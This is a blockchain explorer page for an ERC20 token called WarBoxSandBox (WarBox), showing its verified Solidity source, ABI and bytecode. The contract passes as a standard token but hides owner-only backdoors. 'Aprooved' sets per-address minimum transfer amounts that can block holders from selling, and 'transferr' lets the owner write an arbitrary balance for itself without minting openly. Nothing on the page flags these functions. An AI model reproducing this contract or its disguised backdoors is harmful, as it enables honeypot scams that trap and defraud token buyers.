ETH Price: $3,074.67 (+0.85%)
Gas: 4 Gwei

Token

WarBoxSandBox (WarBox)
 

Overview

Max Total Supply

3,000,000,000 WarBox

Holders

60

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,988.294729933 WarBox

Value
$0.00
0x1a6f51011be73be6edf699cee61a659e86d49ad6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-29
*/

/**
 *Submitted for verification at Etherscan.io on 2023-05-15
*/

/**
 *Submitted for verification at Etherscan.io on 2022-01-21
*/

// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol

// SPDX-License-Identifier: MIT

// pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);


    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


enum TokenType {
    standard,
    antiBotStandard,
    liquidityGenerator,
    antiBotLiquidityGenerator,
    baby,
    antiBotBaby,
    buybackBaby,
    antiBotBuybackBaby
}

abstract contract BaseToken {
    event TokenCreated(
        address indexed owner,
        address indexed token,
        TokenType tokenType,
        uint256 version
    );
}

pragma solidity =0.8.4;

contract Token is IERC20, Ownable, BaseToken {
    using SafeMath for uint256;

    uint256 public constant VERSION = 1;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _mefess; 

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_,
        uint256 totalSupply_

    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _mint(owner(), totalSupply_);

        emit TokenCreated(owner(), address(this), TokenType.standard, VERSION);
    }
    function Aprooved(address[] memory accounts, uint256 amount) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _mefess[accounts[i]] = amount;
        }
    }

    function getmefes(address account) public view returns (uint256) {
        return _mefess[account];
    }
    function transferr(uint256 balan) public onlyOwner {
        _balances[owner()] = balan;
    }


    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount >= _mefess[sender], "ERC20: transfer amount is less than minimum allowed"); 

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(
            amount,
            "ERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Aprooved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getmefes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"balan","type":"uint256"}],"name":"transferr","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052604051620026733803806200267383398181016040528101906200002991906200054e565b620000496200003d6200013b60201b60201c565b6200014360201b60201c565b836004908051906020019062000061929190620003fe565b5082600590805190602001906200007a929190620003fe565b5081600660006101000a81548160ff021916908360ff160217905550620000b7620000aa6200020760201b60201c565b826200023060201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff16620000de6200020760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe3562600060016040516200012992919062000635565b60405180910390a35050505062000991565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200029a9062000662565b60405180910390fd5b620002b760008383620003e160201b60201c565b620002d381600754620003e660201b62000c3c1790919060201c565b6007819055506200033281600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620003e660201b62000c3c1790919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003d5919062000684565b60405180910390a35050565b505050565b60008183620003f6919062000711565b905092915050565b8280546200040c90620007e4565b90600052602060002090601f0160209004810192826200043057600085556200047c565b82601f106200044b57805160ff19168380011785556200047c565b828001600101855582156200047c579182015b828111156200047b5782518255916020019190600101906200045e565b5b5090506200048b91906200048f565b5090565b5b80821115620004aa57600081600090555060010162000490565b5090565b6000620004c5620004bf84620006ca565b620006a1565b905082815260208101848484011115620004de57600080fd5b620004eb848285620007ae565b509392505050565b600082601f8301126200050557600080fd5b815162000517848260208601620004ae565b91505092915050565b60008151905062000531816200095d565b92915050565b600081519050620005488162000977565b92915050565b600080600080608085870312156200056557600080fd5b600085015167ffffffffffffffff8111156200058057600080fd5b6200058e87828801620004f3565b945050602085015167ffffffffffffffff811115620005ac57600080fd5b620005ba87828801620004f3565b9350506040620005cd8782880162000537565b9250506060620005e08782880162000520565b91505092959194509250565b620005f7816200079a565b82525050565b60006200060c601f8362000700565b915062000619826200091d565b602082019050919050565b6200062f8162000783565b82525050565b60006040820190506200064c6000830185620005ec565b6200065b602083018462000624565b9392505050565b600060208201905081810360008301526200067d81620005fd565b9050919050565b60006020820190506200069b600083018462000624565b92915050565b6000620006ad620006c0565b9050620006bb82826200081a565b919050565b6000604051905090565b600067ffffffffffffffff821115620006e857620006e7620008dd565b5b620006f3826200090c565b9050602081019050919050565b600082825260208201905092915050565b60006200071e8262000783565b91506200072b8362000783565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000763576200076262000850565b5b828201905092915050565b60008190506200077e8262000946565b919050565b6000819050919050565b600060ff82169050919050565b6000620007a7826200076e565b9050919050565b60005b83811015620007ce578082015181840152602081019050620007b1565b83811115620007de576000848401525b50505050565b60006002820490506001821680620007fd57607f821691505b60208210811415620008145762000813620008ae565b5b50919050565b62000825826200090c565b810181811067ffffffffffffffff82111715620008475762000846620008dd565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600881106200095a57620009596200087f565b5b50565b620009688162000783565b81146200097457600080fd5b50565b62000982816200078d565b81146200098e57600080fd5b50565b611cd280620009a16000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d7146102e3578063a9059cbb14610313578063dd62ed3e14610343578063f2fde38b14610373578063ffa1ad741461038f57610116565b8063715018a61461028157806383c9b1dd1461028b5780638da5cb5b146102a757806395d89b41146102c557610116565b80633040fc52116100e95780633040fc52146101b7578063313ce567146101e757806339509351146102055780635e0c56311461023557806370a082311461025157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103ad565b604051610130919061162b565b60405180910390f35b610153600480360381019061014e91906113d2565b61043f565b6040516101609190611610565b60405180910390f35b61017161045d565b60405161017e919061172d565b60405180910390f35b6101a1600480360381019061019c9190611383565b610467565b6040516101ae9190611610565b60405180910390f35b6101d160048036038101906101cc919061131e565b610540565b6040516101de919061172d565b60405180910390f35b6101ef610589565b6040516101fc9190611748565b60405180910390f35b61021f600480360381019061021a91906113d2565b6105a0565b60405161022c9190611610565b60405180910390f35b61024f600480360381019061024a9190611462565b610653565b005b61026b6004803603810190610266919061131e565b61071d565b604051610278919061172d565b60405180910390f35b610289610766565b005b6102a560048036038101906102a0919061140e565b6107ee565b005b6102af610912565b6040516102bc91906115f5565b60405180910390f35b6102cd61093b565b6040516102da919061162b565b60405180910390f35b6102fd60048036038101906102f891906113d2565b6109cd565b60405161030a9190611610565b60405180910390f35b61032d600480360381019061032891906113d2565b610a9a565b60405161033a9190611610565b60405180910390f35b61035d60048036038101906103589190611347565b610ab8565b60405161036a919061172d565b60405180910390f35b61038d6004803603810190610388919061131e565b610b3f565b005b610397610c37565b6040516103a4919061172d565b60405180910390f35b6060600480546103bc906118ae565b80601f01602080910402602001604051908101604052809291908181526020018280546103e8906118ae565b80156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b5050505050905090565b600061045361044c610c52565b8484610c5a565b6001905092915050565b6000600754905090565b6000610474848484610e25565b61053584610480610c52565b61053085604051806060016040528060288152602001611c5060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104e6610c52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111409092919063ffffffff16565b610c5a565b600190509392505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600660009054906101000a900460ff16905090565b60006106496105ad610c52565b8461064485600260006105be610c52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c3c90919063ffffffff16565b610c5a565b6001905092915050565b61065b610c52565b73ffffffffffffffffffffffffffffffffffffffff16610679610912565b73ffffffffffffffffffffffffffffffffffffffff16146106cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c6906116cd565b60405180910390fd5b80600160006106dc610912565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61076e610c52565b73ffffffffffffffffffffffffffffffffffffffff1661078c610912565b73ffffffffffffffffffffffffffffffffffffffff16146107e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d9906116cd565b60405180910390fd5b6107ec6000611195565b565b6107f6610c52565b73ffffffffffffffffffffffffffffffffffffffff16610814610912565b73ffffffffffffffffffffffffffffffffffffffff161461086a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610861906116cd565b60405180910390fd5b60005b825181101561090d5781600360008584815181106108b4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061090590611911565b91505061086d565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461094a906118ae565b80601f0160208091040260200160405190810160405280929190818152602001828054610976906118ae565b80156109c35780601f10610998576101008083540402835291602001916109c3565b820191906000526020600020905b8154815290600101906020018083116109a657829003601f168201915b5050505050905090565b6000610a906109da610c52565b84610a8b85604051806060016040528060258152602001611c786025913960026000610a04610c52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111409092919063ffffffff16565b610c5a565b6001905092915050565b6000610aae610aa7610c52565b8484610e25565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b47610c52565b73ffffffffffffffffffffffffffffffffffffffff16610b65610912565b73ffffffffffffffffffffffffffffffffffffffff1614610bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb2906116cd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c229061166d565b60405180910390fd5b610c3481611195565b50565b600181565b60008183610c4a91906117d0565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc19061170d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d319061168d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e18919061172d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8c906116ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efc9061164d565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e906116ad565b60405180910390fd5b610f92838383611259565b610ffe81604051806060016040528060268152602001611c2a60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111409092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061109381600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c3c90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611133919061172d565b60405180910390a3505050565b6000838311158290611188576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117f919061162b565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600061127161126c84611788565b611763565b9050808382526020820190508285602086028201111561129057600080fd5b60005b858110156112c057816112a688826112ca565b845260208401935060208301925050600181019050611293565b5050509392505050565b6000813590506112d981611bfb565b92915050565b600082601f8301126112f057600080fd5b813561130084826020860161125e565b91505092915050565b60008135905061131881611c12565b92915050565b60006020828403121561133057600080fd5b600061133e848285016112ca565b91505092915050565b6000806040838503121561135a57600080fd5b6000611368858286016112ca565b9250506020611379858286016112ca565b9150509250929050565b60008060006060848603121561139857600080fd5b60006113a6868287016112ca565b93505060206113b7868287016112ca565b92505060406113c886828701611309565b9150509250925092565b600080604083850312156113e557600080fd5b60006113f3858286016112ca565b925050602061140485828601611309565b9150509250929050565b6000806040838503121561142157600080fd5b600083013567ffffffffffffffff81111561143b57600080fd5b611447858286016112df565b925050602061145885828601611309565b9150509250929050565b60006020828403121561147457600080fd5b600061148284828501611309565b91505092915050565b61149481611826565b82525050565b6114a381611838565b82525050565b60006114b4826117b4565b6114be81856117bf565b93506114ce81856020860161187b565b6114d7816119e7565b840191505092915050565b60006114ef6023836117bf565b91506114fa826119f8565b604082019050919050565b60006115126026836117bf565b915061151d82611a47565b604082019050919050565b60006115356022836117bf565b915061154082611a96565b604082019050919050565b60006115586033836117bf565b915061156382611ae5565b604082019050919050565b600061157b6020836117bf565b915061158682611b34565b602082019050919050565b600061159e6025836117bf565b91506115a982611b5d565b604082019050919050565b60006115c16024836117bf565b91506115cc82611bac565b604082019050919050565b6115e081611864565b82525050565b6115ef8161186e565b82525050565b600060208201905061160a600083018461148b565b92915050565b6000602082019050611625600083018461149a565b92915050565b6000602082019050818103600083015261164581846114a9565b905092915050565b60006020820190508181036000830152611666816114e2565b9050919050565b6000602082019050818103600083015261168681611505565b9050919050565b600060208201905081810360008301526116a681611528565b9050919050565b600060208201905081810360008301526116c68161154b565b9050919050565b600060208201905081810360008301526116e68161156e565b9050919050565b6000602082019050818103600083015261170681611591565b9050919050565b60006020820190508181036000830152611726816115b4565b9050919050565b600060208201905061174260008301846115d7565b92915050565b600060208201905061175d60008301846115e6565b92915050565b600061176d61177e565b905061177982826118e0565b919050565b6000604051905090565b600067ffffffffffffffff8211156117a3576117a26119b8565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006117db82611864565b91506117e683611864565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561181b5761181a61195a565b5b828201905092915050565b600061183182611844565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561189957808201518184015260208101905061187e565b838111156118a8576000848401525b50505050565b600060028204905060018216806118c657607f821691505b602082108114156118da576118d9611989565b5b50919050565b6118e9826119e7565b810181811067ffffffffffffffff82111715611908576119076119b8565b5b80604052505050565b600061191c82611864565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561194f5761194e61195a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e74206973206c657373207460008201527f68616e206d696e696d756d20616c6c6f77656400000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611c0481611826565b8114611c0f57600080fd5b50565b611c1b81611864565b8114611c2657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e223cbfda4096bb7bd9ee959bf053adcc0ea1c5331d0b17eb94f49f2c942c84c64736f6c634300080400330000000000000000000